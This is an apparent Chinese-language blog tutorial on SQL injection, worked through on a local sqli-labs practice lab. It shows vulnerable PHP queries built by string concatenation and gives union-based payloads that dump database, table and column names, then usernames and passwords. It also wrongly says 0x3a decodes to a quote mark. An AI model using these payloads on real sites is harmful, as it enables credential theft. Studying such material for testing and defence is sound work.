什么是SQL注入:
SQLi,sql injection,称之为SQL注入。何为SQL,英文:Structured Query Language,又叫结构化查询语言,用户在输入中注入SQL语法,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为,被称为sql注入。
如何找到SQL注入点:
黑盒测试:
- 看见URL中的动态参数就想搞点事情,概念性验证
- 工具跑,老夫就是江湖人称脚本小子的物种
- 扫描器(AWVS等)扫+手动验证
- Burp抓流量,调用SQLMAP API验证
代码审计:
- 检查所有输入
- 根据危险函数反向查找
SQL注入分类:
按照数据类型分类:
- 数字型
- 字符型
按照返回结果分类:
- 显错注入
- 盲注
其他分类:
如何注入:
1.首先是寻找闭合
闭合:这个语句可以完整正确的执行
/*服务后端php语句*/
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";
$id两端的符号需要匹配,即完成闭合,sql语句才能够正常执行。
2.为什么闭合如此重要
sql注入,是我们需要注入自己的sql语句,如果注入后破坏了原有的闭合,那么注入也会失败。所以闭合很重要,可以说闭合决定了最后是否可以注入成功。
举例说明
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$id = 1' 0r 1=1 --+ --+ 注释'后面的数据
$sql = "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";
在选择注入点的时候,我们通常会选择类似与这样的URL:http://127.0.0.1/index.html?id=1。。。对于这样的语句我们不难发现?后面的id是需要查询数据库的。那么 我们判断这里有可能是一个SQL的注入点,然后我们就需要针对这条URL来进行注入点的判断了。
我们对代码进行分析,前端输入的id值在后端的语句中其实是$id的值,所以在$sql语句中,上面的$id被单引号包围,如果想要直接输入的数据库查询语句,如select database();这样$id就会被赋值为'select database()',这种是不会有结果的,因为数据库中并没有id为select database()的值,但是如果在?id=1后面加上单引号,即为1',这样就会使变量$id产生闭合,where id = '1' union select ...-- -LIMIT 0,1",由于-- -在sql语句中为注释符号,所以不执行,这样就能够注入自己的查询语句,完成对数据库的注入。
3.开始注入(这里以sqlilab第二关举例子,由于我的sqlilab有点问题,我的第二关是大部分人的第一关)
首先是寻找闭合,输入?id=1查看回显报错的信息。
看到数据库的语句为
select * from users where id ='1'
判断出闭合条件是1',这样继续输入语句?id=1' and 1=1-- -和?id=1' and 1=2 -- -判断之前判断的闭合是否正确。
发现输入and 1=2时查询的结果为空,说明结果正确,即判断的闭合条件正确,接下来order by语句猜测数据库一共具有多少列,并且利用union select语句查看显示位在哪。
然后输入语句爆出数据库名称:
union select 1,2,database()
爆出数据库名称后继续输入语句以便爆出数据中的表明和列名。
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()/*database()可以写security*/
union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users'
然后输入语句爆出用户名和密码,由于我的靶场还有别的数据库,所以爆出的名字有点乱。
union select 1,2,group_concat(username,0x3a,password) from users/*0x3a解码后为引号*/